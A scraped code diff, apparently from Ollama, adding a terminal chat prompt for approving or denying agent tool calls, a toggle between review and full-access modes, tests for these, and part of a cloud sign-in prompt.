input := "before " + fp + " after"
|
||||
cleaned, imgs, err := Extract(input)
|
||||
if err != nil {
|
||||
t.Fatalf("err: %v", err)
|
||||
}
|
||||
if len(imgs) != 1 {
|
||||
t.Fatalf("imgs = %d, want 1", len(imgs))
|
||||
}
|
||||
if cleaned != "before after" {
|
||||
t.Fatalf("cleaned = %q, want %q", cleaned, "before after")
|
||||
}
|
||||
}
|
||||
|
||||
func assertContains(t *testing.T, s, want string) {
|
||||
t.Helper()
|
||||
if !strings.Contains(s, want) {
|
||||
t.Fatalf("%q does not contain %q", s, want)
|
||||
}
|
||||
}
|
||||
|
||||
func assertNotContains(t *testing.T, s, want string) {
|
||||
t.Helper()
|
||||
if strings.Contains(s, want) {
|
||||
t.Fatalf("%q unexpectedly contains %q", s, want)
|
||||
}
|
||||
}
|
||||
|
||||
func assertNotContainsSlice(t *testing.T, ss []string, want string) {
|
||||
t.Helper()
|
||||
for _, s := range ss {
|
||||
if strings.Contains(s, want) {
|
||||
t.Fatalf("slice unexpectedly contains %q in %q", want, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -713,7 +713,7 @@ func (c *launcherClient) resolveRunModel(ctx context.Context, req RunModelReques
|
||||
}
|
||||
}
|
||||
|
||||
model, err := c.selectSingleModelWithSelector(ctx, "Select model to run:", current, DefaultSingleSelector)
|
||||
model, err := c.selectSingleModelWithSelector(ctx, "Select model to chat and code with:", current, DefaultSingleSelector)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
@@ -29,8 +29,9 @@ var DefaultConfirmPrompt func(prompt string, options ConfirmOptions) (bool, erro
|
||||
|
||||
// ConfirmOptions customizes labels for confirmation prompts.
|
||||
type ConfirmOptions struct {
|
||||
YesLabel string
|
||||
NoLabel string
|
||||
YesLabel string
|
||||
NoLabel string
|
||||
PlainPrompt bool
|
||||
}
|
||||
|
||||
// SingleSelector is a function type for single item selection.
|
||||
|
||||
@@ -0,0 +1,324 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
)
|
||||
|
||||
type chatApprovalChoice struct {
|
||||
label string
|
||||
key string
|
||||
decision coreagent.ApprovalDecision
|
||||
reason string
|
||||
}
|
||||
|
||||
var chatApprovalChoices = []chatApprovalChoice{
|
||||
{label: "Approve once", key: "1", decision: coreagent.ApprovalAllowOnce},
|
||||
{label: "Approve session", key: "2", decision: coreagent.ApprovalAllowSession},
|
||||
{label: "Deny", key: "3", decision: coreagent.ApprovalDeny, reason: "Tool execution denied."},
|
||||
}
|
||||
|
||||
type chatApprovalPrompt struct {
|
||||
request coreagent.ApprovalRequest
|
||||
reply chan<- coreagent.ApprovalResult
|
||||
cursor int
|
||||
}
|
||||
|
||||
func (m chatModel) approvalHandlerForRun(events chan<- tea.Msg) coreagent.ApprovalHandler {
|
||||
return chatPolicyApprovalHandler{
|
||||
policy: m.policyState,
|
||||
review: approvalHandlerForRun(m.reviewApproval, events),
|
||||
}
|
||||
}
|
||||
|
||||
func approvalHandlerForRun(handler coreagent.ApprovalHandler, events chan<- tea.Msg) coreagent.ApprovalHandler {
|
||||
prompter := chatApprovalPrompter{ch: events}
|
||||
if manager, ok := handler.(*coreagent.ApprovalManager); ok {
|
||||
return manager.WithPrompter(prompter)
|
||||
}
|
||||
if handler != nil {
|
||||
return handler
|
||||
}
|
||||
return coreagent.NewApprovalManager(coreagent.ApprovalManagerOptions{Prompter: prompter})
|
||||
}
|
||||
|
||||
func chatReviewApprovalHandler(handler coreagent.ApprovalHandler, policy coreagent.RunPolicy) coreagent.ApprovalHandler {
|
||||
if handler != nil {
|
||||
return handler
|
||||
}
|
||||
return policy.ReviewApprovalHandler(nil)
|
||||
}
|
||||
|
||||
func (m *chatModel) openApprovalPrompt(msg chatApprovalPromptMsg) {
|
||||
m.approvalPrompt = &chatApprovalPrompt{request: msg.request, reply: msg.reply}
|
||||
m.status = "approval required"
|
||||
m.thinking = false
|
||||
m.thinkingTokens = 0
|
||||
m.upsertApprovalToolEntry(msg.request)
|
||||
}
|
||||
|
||||
func (m *chatModel) togglePermissionMode() (tea.Model, tea.Cmd) {
|
||||
m.ensureRunPolicy()
|
||||
nextMode := coreagent.ToolModeFullAccess
|
||||
if m.currentPolicy().ToolMode == coreagent.ToolModeFullAccess {
|
||||
nextMode = coreagent.ToolModeReview
|
||||
}
|
||||
m.policyState.SetToolMode(nextMode)
|
||||
m.opts.Policy = m.currentPolicy()
|
||||
if nextMode == coreagent.ToolModeFullAccess {
|
||||
m.permissionNotice = "full access enabled"
|
||||
m.status = "full access enabled"
|
||||
if m.approvalPrompt != nil {
|
||||
updated, cmd := m.resolveApprovalPrompt(coreagent.ApprovalAllowOnce, "")
|
||||
if model, ok := updated.(chatModel); ok {
|
||||
model.permissionNotice = "full access enabled"
|
||||
model.status = "full access enabled"
|
||||
return model, cmd
|
||||
}
|
||||
return updated, cmd
|
||||
}
|
||||
return *m, nil
|
||||
}
|
||||
m.permissionNotice = "review mode enabled"
|
||||
m.status = "review mode enabled"
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
func (m *chatModel) ensureRunPolicy() {
|
||||
if m.policyState == nil {
|
||||
m.policyState = coreagent.NewRunPolicyState(m.opts.Policy)
|
||||
}
|
||||
if m.reviewApproval == nil {
|
||||
m.reviewApproval = chatReviewApprovalHandler(m.opts.Approval, m.currentPolicy())
|
||||
}
|
||||
}
|
||||
|
||||
func (m chatModel) currentPolicy() coreagent.RunPolicy {
|
||||
if m.policyState != nil {
|
||||
return m.policyState.Policy()
|
||||
}
|
||||
return m.opts.Policy
|
||||
}
|
||||
|
||||
func (m chatModel) autoApproveTools() bool {
|
||||
return m.currentPolicy().ToolMode == coreagent.ToolModeFullAccess
|
||||
}
|
||||
|
||||
func (m *chatModel) upsertApprovalToolEntry(request coreagent.ApprovalRequest) {
|
||||
idx := m.findToolEntry(request.ToolCallID)
|
||||
if idx < 0 {
|
||||
m.groupCompletedToolHistory()
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "tool"}))
|
||||
idx = len(m.entries) - 1
|
||||
}
|
||||
m.entries[idx].detail = request.ToolName
|
||||
m.entries[idx].label = toolInvocationLabel(request.ToolName, request.Args)
|
||||
m.entries[idx].status = "approval"
|
||||
m.entries[idx].toolID = request.ToolCallID
|
||||
m.entries[idx].args = request.Args
|
||||
m.entries[idx].startedAt = time.Now()
|
||||
m.applyToolOutputModeTo(idx)
|
||||
m.markEntryDirty(idx)
|
||||
}
|
||||
|
||||
func (m chatModel) updateApprovalPrompt(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
case tea.KeyLeft, tea.KeyUp:
|
||||
m.moveApprovalChoice(-1)
|
||||
case tea.KeyRight, tea.KeyDown, tea.KeyTab:
|
||||
m.moveApprovalChoice(1)
|
||||
case tea.KeyRunes:
|
||||
switch string(msg.Runes) {
|
||||
case "1", "2", "3":
|
||||
choice := chatApprovalChoices[int(msg.Runes[0]-'1')]
|
||||
return m.resolveApprovalPrompt(choice.decision, choice.reason)
|
||||
}
|
||||
case tea.KeyEnter:
|
||||
choice := chatApprovalChoices[clamp(m.approvalPrompt.cursor, 0, len(chatApprovalChoices)-1)]
|
||||
return m.resolveApprovalPrompt(choice.decision, choice.reason)
|
||||
case tea.KeyEsc, tea.KeyCtrlC:
|
||||
return m.resolveApprovalPrompt(coreagent.ApprovalDeny, "Tool execution denied.")
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *chatModel) moveApprovalChoice(delta int) {
|
||||
if m.approvalPrompt == nil {
|
||||
return
|
||||
}
|
||||
m.approvalPrompt.cursor = (m.approvalPrompt.cursor + delta) % len(chatApprovalChoices)
|
||||
if m.approvalPrompt.cursor < 0 {
|
||||
m.approvalPrompt.cursor += len(chatApprovalChoices)
|
||||
}
|
||||
m.markApprovalPromptEntryDirty()
|
||||
}
|
||||
|
||||
func (m *chatModel) markApprovalPromptEntryDirty() {
|
||||
if m.approvalPrompt == nil {
|
||||
return
|
||||
}
|
||||
if idx := m.findToolEntry(m.approvalPrompt.request.ToolCallID); idx >= 0 {
|
||||
m.markEntryDirty(idx)
|
||||
}
|
||||
}
|
||||
|
||||
func (m chatModel) resolveApprovalPrompt(decision coreagent.ApprovalDecision, reason string) (tea.Model, tea.Cmd) {
|
||||
if m.approvalPrompt == nil {
|
||||
return m, nil
|
||||
}
|
||||
prompt := m.approvalPrompt
|
||||
m.approvalPrompt = nil
|
||||
m.status = "running"
|
||||
if decision == coreagent.ApprovalDeny {
|
||||
m.status = "denied"
|
||||
}
|
||||
if idx := m.findToolEntry(prompt.request.ToolCallID); idx >= 0 && m.entries[idx].status == "approval" {
|
||||
if decision == coreagent.ApprovalDeny {
|
||||
m.entries[idx].status = "error"
|
||||
m.entries[idx].err = reason
|
||||
if m.entries[idx].err == "" {
|
||||
m.entries[idx].err = "Tool execution denied."
|
||||
}
|
||||
} else {
|
||||
m.entries[idx].status = "queued"
|
||||
}
|
||||
m.markEntryDirty(idx)
|
||||
}
|
||||
prompt.reply <- coreagent.ApprovalResult{Decision: decision, Reason: reason}
|
||||
return m, waitForChatMsg(m.events)
|
||||
}
|
||||
|
||||
func (m chatModel) renderApprovalPromptLines(width int) []string {
|
||||
prompt := m.approvalPrompt
|
||||
if prompt == nil {
|
||||
return nil
|
||||
}
|
||||
if width <= 0 {
|
||||
width = 80
|
||||
}
|
||||
bodyWidth := max(20, width-2)
|
||||
|
||||
request := prompt.request
|
||||
var lines []string
|
||||
detail := approvalRequestDetail(request, bodyWidth)
|
||||
if detail == "" && request.Summary != "" {
|
||||
lines = append(lines, wrapChatText(request.Summary, width)...)
|
||||
} else if detail == "" {
|
||||
lines = append(lines, wrapChatText(fmt.Sprintf("%s wants to run", toolDisplayName(request.ToolName)), width)...)
|
||||
}
|
||||
if detail != "" {
|
||||
lines = append(lines, indentLines(splitRenderedBody(detail), " ")...)
|
||||
}
|
||||
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, indentLines(renderApprovalChoices(prompt.cursor, bodyWidth), " ")...)
|
||||
return lines
|
||||
}
|
||||
|
||||
func approvalRequestDetail(request coreagent.ApprovalRequest, width int) string {
|
||||
if coreagent.IsShellToolName(request.ToolName) {
|
||||
command, ok := rawStringArg(request.Args, "command")
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
return strings.Join(wrapChatText(shellPromptPrefix(request.ToolName)+command, width), "\n")
|
||||
}
|
||||
switch request.ToolName {
|
||||
case "edit":
|
||||
path, ok := rawStringArg(request.Args, "path")
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
var lines []string
|
||||
lines = append(lines, "path: "+path)
|
||||
if oldText, ok := rawStringArg(request.Args, "old_text"); ok {
|
||||
lines = append(lines, fmt.Sprintf("old_text: %d chars", len([]rune(oldText))))
|
||||
}
|
||||
if newText, ok := rawStringArg(request.Args, "new_text"); ok {
|
||||
lines = append(lines, fmt.Sprintf("new_text: %d chars", len([]rune(newText))))
|
||||
}
|
||||
return chatMetaStyle.Render(strings.Join(lines, "\n"))
|
||||
default:
|
||||
if len(request.Args) == 0 {
|
||||
return ""
|
||||
}
|
||||
return strings.Join(renderToolCallArgs(request.Args, width), "\n")
|
||||
}
|
||||
}
|
||||
|
||||
func renderApprovalChoices(cursor int, width int) []string {
|
||||
var lines []string
|
||||
for i, choice := range chatApprovalChoices {
|
||||
label := choice.key + ". " + choice.label
|
||||
wrapped := wrapChatText(label, max(20, width-2))
|
||||
if i == clamp(cursor, 0, len(chatApprovalChoices)-1) {
|
||||
for j, line := range wrapped {
|
||||
if j == 0 {
|
||||
lines = append(lines, chatResumeSelectedStyle.Render("› "+line))
|
||||
} else {
|
||||
lines = append(lines, chatResumeSelectedStyle.Render(" "+line))
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for j, line := range wrapped {
|
||||
if j == 0 {
|
||||
lines = append(lines, chatResumeTextStyle.Render(" "+line))
|
||||
} else {
|
||||
lines = append(lines, chatResumeTextStyle.Render(" "+line))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return lines
|
||||
}
|
||||
|
||||
type chatApprovalPrompter struct {
|
||||
ch chan<- tea.Msg
|
||||
}
|
||||
|
||||
type chatPolicyApprovalHandler struct {
|
||||
policy *coreagent.RunPolicyState
|
||||
review coreagent.ApprovalHandler
|
||||
}
|
||||
|
||||
func (h chatPolicyApprovalHandler) RequiresApproval(ctx context.Context, tool coreagent.Tool, req coreagent.ApprovalRequest) bool {
|
||||
if h.policy != nil && h.policy.ToolMode() == coreagent.ToolModeFullAccess {
|
||||
return false
|
||||
}
|
||||
if h.review != nil {
|
||||
return h.review.RequiresApproval(ctx, tool, req)
|
||||
}
|
||||
return req.ToolApprovalRequired || coreagent.ToolRequiresApproval(tool, req.Args)
|
||||
}
|
||||
|
||||
func (h chatPolicyApprovalHandler) Approve(ctx context.Context, req coreagent.ApprovalRequest) (coreagent.ApprovalResult, error) {
|
||||
if h.policy != nil && h.policy.ToolMode() == coreagent.ToolModeFullAccess {
|
||||
return coreagent.ApprovalResult{Decision: coreagent.ApprovalAllowOnce}, nil
|
||||
}
|
||||
if h.review != nil {
|
||||
return h.review.Approve(ctx, req)
|
||||
}
|
||||
return coreagent.ApprovalResult{Decision: coreagent.ApprovalDeny, Reason: "Tool execution requires approval."}, nil
|
||||
}
|
||||
|
||||
func (p chatApprovalPrompter) PromptApproval(ctx context.Context, request coreagent.ApprovalRequest) (coreagent.ApprovalResult, error) {
|
||||
reply := make(chan coreagent.ApprovalResult, 1)
|
||||
select {
|
||||
case p.ch <- chatApprovalPromptMsg{request: request, reply: reply}:
|
||||
case <-ctx.Done():
|
||||
return coreagent.ApprovalResult{Decision: coreagent.ApprovalDeny, Reason: "Tool approval canceled."}, nil
|
||||
}
|
||||
|
||||
select {
|
||||
case result := <-reply:
|
||||
return result, nil
|
||||
case <-ctx.Done():
|
||||
return coreagent.ApprovalResult{Decision: coreagent.ApprovalDeny, Reason: "Tool approval canceled."}, nil
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,329 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
func TestChatApprovalPromptRendersAndApprovesOnce(t *testing.T) {
|
||||
reply := make(chan coreagent.ApprovalResult, 1)
|
||||
request := coreagent.ApprovalRequest{
|
||||
ToolCallID: "call-1",
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "git status"},
|
||||
Summary: "Bash wants to run a command",
|
||||
Risk: coreagent.ApprovalRiskMedium,
|
||||
Reasons: []string{"runs shell commands"},
|
||||
}
|
||||
m := chatModel{
|
||||
width: 100,
|
||||
height: 20,
|
||||
events: make(chan tea.Msg),
|
||||
}
|
||||
m.openApprovalPrompt(chatApprovalPromptMsg{request: request, reply: reply})
|
||||
|
||||
view := stripANSI(m.View())
|
||||
if !strings.Contains(view, "$ git status") ||
|
||||
!strings.Contains(view, "1. Approve once") ||
|
||||
!strings.Contains(view, "2. Approve session") ||
|
||||
!strings.Contains(view, "3. Deny") ||
|
||||
!strings.Contains(view, "›") {
|
||||
t.Fatalf("approval view missing content: %q", view)
|
||||
}
|
||||
if strings.Contains(view, "› █") {
|
||||
t.Fatalf("approval view should hide the input cursor: %q", view)
|
||||
}
|
||||
if strings.Contains(view, "1/2/3 choose • enter select • esc deny") {
|
||||
t.Fatalf("approval view should not render shortcut helper: %q", view)
|
||||
}
|
||||
if strings.Contains(view, "Bash wants to run a command") {
|
||||
t.Fatalf("approval view should not repeat tool summary when command detail is shown: %q", view)
|
||||
}
|
||||
if strings.Contains(view, "waiting for approval") {
|
||||
t.Fatalf("approval view should not render waiting spinner: %q", view)
|
||||
}
|
||||
if strings.Contains(view, "Approve once (o)") || strings.Contains(view, "same command in this chat") {
|
||||
t.Fatalf("approval choices should be minimal: %q", view)
|
||||
}
|
||||
if strings.Contains(view, "risk:") {
|
||||
t.Fatalf("approval view should not render risk level: %q", view)
|
||||
}
|
||||
approvalIdx := strings.LastIndex(view, "1. Approve once")
|
||||
inputIdx := strings.LastIndex(view, "›")
|
||||
if approvalIdx < 0 || inputIdx < 0 || approvalIdx > inputIdx {
|
||||
t.Fatalf("approval picker should render above the input box:\n%s", view)
|
||||
}
|
||||
if len(m.entries) != 1 || m.entries[0].status != "approval" {
|
||||
t.Fatalf("approval tool entry = %#v", m.entries)
|
||||
}
|
||||
|
||||
updated, cmd := m.Update(tea.KeyMsg{Type: tea.KeyEnter})
|
||||
m = updated.(chatModel)
|
||||
if cmd == nil {
|
||||
t.Fatal("approval should resume waiting for agent events")
|
||||
}
|
||||
result := <-reply
|
||||
if result.Decision != coreagent.ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
if m.approvalPrompt != nil {
|
||||
t.Fatal("approval prompt should close")
|
||||
}
|
||||
if m.entries[0].status != "queued" {
|
||||
t.Fatalf("tool status = %q, want queued", m.entries[0].status)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatApprovalPromptCtrlOExpandsToolDetailsInline(t *testing.T) {
|
||||
reply := make(chan coreagent.ApprovalResult, 1)
|
||||
m := chatModel{
|
||||
width: 100,
|
||||
height: 24,
|
||||
boundedFrame: true,
|
||||
fullScreen: true,
|
||||
events: make(chan tea.Msg),
|
||||
}
|
||||
m.openApprovalPrompt(chatApprovalPromptMsg{
|
||||
request: coreagent.ApprovalRequest{
|
||||
ToolCallID: "call-1",
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "git status --short --branch --untracked-files=all"},
|
||||
Summary: "Bash wants to run a command",
|
||||
},
|
||||
reply: reply,
|
||||
})
|
||||
|
||||
transcript := stripANSI(m.renderTranscript(100))
|
||||
if strings.Contains(transcript, "$ git status") {
|
||||
t.Fatalf("tool details should start collapsed: %q", transcript)
|
||||
}
|
||||
|
||||
updated, _ := m.Update(tea.KeyMsg{Type: tea.KeyCtrlO})
|
||||
m = updated.(chatModel)
|
||||
if !m.fullScreen || !m.boundedFrame {
|
||||
t.Fatal("ctrl+o should keep managed fullscreen rendering")
|
||||
}
|
||||
transcript = stripANSI(m.renderTranscript(100))
|
||||
if !strings.Contains(transcript, "Bash") || !strings.Contains(transcript, "$ git status --short --branch --untracked-files=all") {
|
||||
t.Fatalf("approval tool details should show inline: %q", transcript)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatApprovalPromptClosesHistoryPopup(t *testing.T) {
|
||||
reply := make(chan coreagent.ApprovalResult, 1)
|
||||
m := chatModel{
|
||||
width: 100,
|
||||
height: 24,
|
||||
historyPopup: &chatHistoryPopup{messages: []api.Message{{Role: "user", Content: "old"}}},
|
||||
}
|
||||
|
||||
updated, cmd := m.Update(chatApprovalPromptMsg{
|
||||
request: coreagent.ApprovalRequest{
|
||||
ToolCallID: "call-1",
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "git status"},
|
||||
Summary: "Bash wants to run a command",
|
||||
},
|
||||
reply: reply,
|
||||
})
|
||||
if cmd != nil {
|
||||
t.Fatal("opening approval prompt should not return a command")
|
||||
}
|
||||
m = updated.(chatModel)
|
||||
if m.historyPopup != nil {
|
||||
t.Fatal("approval prompt should close history popup")
|
||||
}
|
||||
if m.approvalPrompt == nil {
|
||||
t.Fatal("approval prompt should open")
|
||||
}
|
||||
|
||||
view := stripANSI(m.View())
|
||||
if strings.Contains(view, "Message history") {
|
||||
t.Fatalf("history popup should not render over approval prompt:\n%s", view)
|
||||
}
|
||||
for _, want := range []string{"$ git status", "1. Approve once", "2. Approve session", "3. Deny"} {
|
||||
if !strings.Contains(view, want) {
|
||||
t.Fatalf("approval view missing %q:\n%s", want, view)
|
||||
}
|
||||
}
|
||||
if strings.Contains(view, "1/2/3 choose • enter select • esc deny") {
|
||||
t.Fatalf("approval view should not render shortcut helper:\n%s", view)
|
||||
}
|
||||
if strings.Contains(view, "Bash wants to run a command") {
|
||||
t.Fatalf("approval view should not repeat tool summary when command detail is shown:\n%s", view)
|
||||
}
|
||||
if strings.Contains(view, "Approve once (o)") || strings.Contains(view, "same command in this chat") {
|
||||
t.Fatalf("approval choices should be minimal:\n%s", view)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatApprovalPromptDenyNumberShortcut(t *testing.T) {
|
||||
reply := make(chan coreagent.ApprovalResult, 1)
|
||||
m := chatModel{
|
||||
events: make(chan tea.Msg),
|
||||
}
|
||||
m.openApprovalPrompt(chatApprovalPromptMsg{
|
||||
request: coreagent.ApprovalRequest{ToolCallID: "call-1", ToolName: "edit", Args: map[string]any{"path": "note.txt"}},
|
||||
reply: reply,
|
||||
})
|
||||
|
||||
updated, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune("3")})
|
||||
m = updated.(chatModel)
|
||||
result := <-reply
|
||||
if result.Decision != coreagent.ApprovalDeny {
|
||||
t.Fatalf("decision = %q, want deny", result.Decision)
|
||||
}
|
||||
if m.entries[0].status != "error" {
|
||||
t.Fatalf("tool status = %q, want error", m.entries[0].status)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatShiftTabTogglesPermissionMode(t *testing.T) {
|
||||
m := chatModel{}
|
||||
|
||||
updated, cmd := m.Update(tea.KeyMsg{Type: tea.KeyShiftTab})
|
||||
if cmd != nil {
|
||||
t.Fatal("permission toggle should not start a command")
|
||||
}
|
||||
m = updated.(chatModel)
|
||||
if !m.autoApproveTools() {
|
||||
t.Fatal("shift+tab should enable auto-approve mode")
|
||||
}
|
||||
if m.status != "full access enabled" || m.notificationLine() != "" {
|
||||
t.Fatalf("status = %q notification = %q, want footer-only full access notice", m.status, m.notificationLine())
|
||||
}
|
||||
if view := stripANSI(m.View()); !strings.Contains(view, "full access enabled") {
|
||||
t.Fatalf("visible footer missing full access notice:\n%s", view)
|
||||
}
|
||||
|
||||
updated, _ = m.Update(tea.KeyMsg{Type: tea.KeyShiftTab})
|
||||
m = updated.(chatModel)
|
||||
if m.autoApproveTools() {
|
||||
t.Fatal("second shift+tab should return to review mode")
|
||||
}
|
||||
if m.status != "review mode enabled" || m.notificationLine() != "" {
|
||||
t.Fatalf("status = %q notification = %q, want footer-only review notice", m.status, m.notificationLine())
|
||||
}
|
||||
if view := stripANSI(m.View()); !strings.Contains(view, "review mode enabled") {
|
||||
t.Fatalf("visible footer missing review notice:\n%s", view)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatAutoApproveInitialFooterShowsFullAccess(t *testing.T) {
|
||||
m := chatModel{
|
||||
width: 100,
|
||||
height: 12,
|
||||
opts: Options{
|
||||
Model: "llama3.2",
|
||||
Policy: coreagent.RunPolicy{ToolMode: coreagent.ToolModeFullAccess},
|
||||
},
|
||||
status: "ready",
|
||||
}
|
||||
|
||||
if m.notificationLine() != "" {
|
||||
t.Fatalf("notification = %q, want footer-only full access notice", m.notificationLine())
|
||||
}
|
||||
if view := stripANSI(m.View()); !strings.Contains(view, "full access enabled") {
|
||||
t.Fatalf("visible footer missing initial full access notice:\n%s", view)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatShiftTabApprovesPendingPrompt(t *testing.T) {
|
||||
reply := make(chan coreagent.ApprovalResult, 1)
|
||||
m := chatModel{
|
||||
events: make(chan tea.Msg),
|
||||
}
|
||||
m.openApprovalPrompt(chatApprovalPromptMsg{
|
||||
request: coreagent.ApprovalRequest{ToolCallID: "call-1", ToolName: "bash", Args: map[string]any{"command": "pwd"}},
|
||||
reply: reply,
|
||||
})
|
||||
|
||||
updated, cmd := m.Update(tea.KeyMsg{Type: tea.KeyShiftTab})
|
||||
m = updated.(chatModel)
|
||||
if cmd == nil {
|
||||
t.Fatal("approving pending prompt should resume waiting for agent events")
|
||||
}
|
||||
result := <-reply
|
||||
if result.Decision != coreagent.ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
if !m.autoApproveTools() {
|
||||
t.Fatal("shift+tab should leave future tool calls in auto-approve mode")
|
||||
}
|
||||
if m.approvalPrompt != nil {
|
||||
t.Fatal("approval prompt should close")
|
||||
}
|
||||
if m.entries[0].status != "queued" {
|
||||
t.Fatalf("tool status = %q, want queued", m.entries[0].status)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatShiftTabSkillApprovalKeepsFullAccessFooter(t *testing.T) {
|
||||
reply := make(chan coreagent.ApprovalResult, 1)
|
||||
m := chatModel{
|
||||
width: 100,
|
||||
height: 20,
|
||||
events: make(chan tea.Msg),
|
||||
}
|
||||
m.openApprovalPrompt(chatApprovalPromptMsg{
|
||||
request: coreagent.ApprovalRequest{
|
||||
ToolCallID: "call-1",
|
||||
ToolName: "skill",
|
||||
Args: map[string]any{"name": "code-review"},
|
||||
},
|
||||
reply: reply,
|
||||
})
|
||||
|
||||
updated, _ := m.Update(tea.KeyMsg{Type: tea.KeyShiftTab})
|
||||
m = updated.(chatModel)
|
||||
if result := <-reply; result.Decision != coreagent.ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
if view := stripANSI(m.View()); !strings.Contains(view, "full access enabled") {
|
||||
t.Fatalf("visible footer missing full access notice after approval:\n%s", view)
|
||||
}
|
||||
|
||||
updated, _ = m.Update(chatRunDoneMsg{result: &coreagent.RunResult{
|
||||
Messages: []api.Message{{Role: "assistant", Content: "done"}},
|
||||
}})
|
||||
m = updated.(chatModel)
|
||||
if m.status != "ready" {
|
||||
t.Fatalf("status = %q, want ready", m.status)
|
||||
}
|
||||
if view := stripANSI(m.View()); !strings.Contains(view, "full access enabled") {
|
||||
t.Fatalf("visible footer should keep full access notice after run completes:\n%s", view)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatPermissionApprovalHandlerReadsModeAtApprovalTime(t *testing.T) {
|
||||
policy := coreagent.NewRunPolicyState(coreagent.RunPolicy{ToolMode: coreagent.ToolModeReview})
|
||||
handler := chatPolicyApprovalHandler{
|
||||
policy: policy,
|
||||
review: coreagent.NewApprovalManager(coreagent.ApprovalManagerOptions{}),
|
||||
}
|
||||
req := coreagent.ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "pwd"},
|
||||
}
|
||||
|
||||
if !handler.RequiresApproval(context.Background(), chatTestTool{}, req) {
|
||||
t.Fatal("review mode should require approval for bash")
|
||||
}
|
||||
policy.SetToolMode(coreagent.ToolModeFullAccess)
|
||||
if handler.RequiresApproval(context.Background(), chatTestTool{}, req) {
|
||||
t.Fatal("auto-approve mode should not require approval")
|
||||
}
|
||||
result, err := handler.Approve(context.Background(), req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != coreagent.ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,252 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type cloudAuthKind string
|
||||
|
||||
const (
|
||||
cloudAuthSignIn cloudAuthKind = "signin"
|
||||
cloudAuthUpgrade cloudAuthKind = "upgrade"
|
||||
cloudAuthChecking cloudAuthKind = "checking"
|
||||
)
|
||||
|
||||
// cloudAuthPrompt is an inline modal that handles sign-in and plan-upgrade
|
||||
// flows when a user selects a cloud model from the picker.
|
||||
type cloudAuthPrompt struct {
|
||||
modelName string
|
||||
requiredPlan string
|
||||
signInURL string
|
||||
kind cloudAuthKind
|
||||
spinner int
|
||||
openNow bool
|
||||
polling bool
|
||||
}
|
||||
|
||||
type cloudAuthCheckMsg struct {
|
||||
err error
|
||||
signInURL string
|
||||
}
|
||||
|
||||
type cloudAuthTickMsg struct{}
|
||||
|
||||
type cloudAuthPollMsg struct {
|
||||
done bool
|
||||
}
|
||||
|
||||
func checkCloudModelCmd(ctx context.Context, check func(context.Context, string, string) error, model, requiredPlan string) tea.Cmd {
|
||||
if check == nil {
|
||||
return nil
|
||||
}
|
||||
return func() tea.Msg {
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
err := check(ctx, model, requiredPlan)
|
||||
var signInURL string
|
||||
if err != nil {
|
||||
var authErr api.AuthorizationError
|
||||
if errors.As(err, &authErr) && authErr.SigninURL != "" {
|
||||
signInURL = authErr.SigninURL
|
||||
}
|
||||
}
|
||||
return cloudAuthCheckMsg{err: err, signInURL: signInURL}
|
||||
}
|
||||
}
|
||||
|
||||
func cloudAuthTickCmd() tea.Cmd {
|
||||
return tea.Tick(200*time.Millisecond, func(t time.Time) tea.Msg {
|
||||
return cloudAuthTickMsg{}
|
||||
})
|
||||
}
|
||||
|
||||
func pollCloudAuthCmd(ctx context.Context, poll func(context.Context) (string, bool)) tea.Cmd {
|
||||
if poll == nil {
|
||||
return nil
|
||||
}
|
||||
return func() tea.Msg {
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
pollCtx, cancel := context.WithTimeout(ctx, 3*time.Second)
|
||||
defer cancel()
|
||||
_, done := poll(pollCtx)
|
||||
return cloudAuthPollMsg{done: done}
|
||||
}
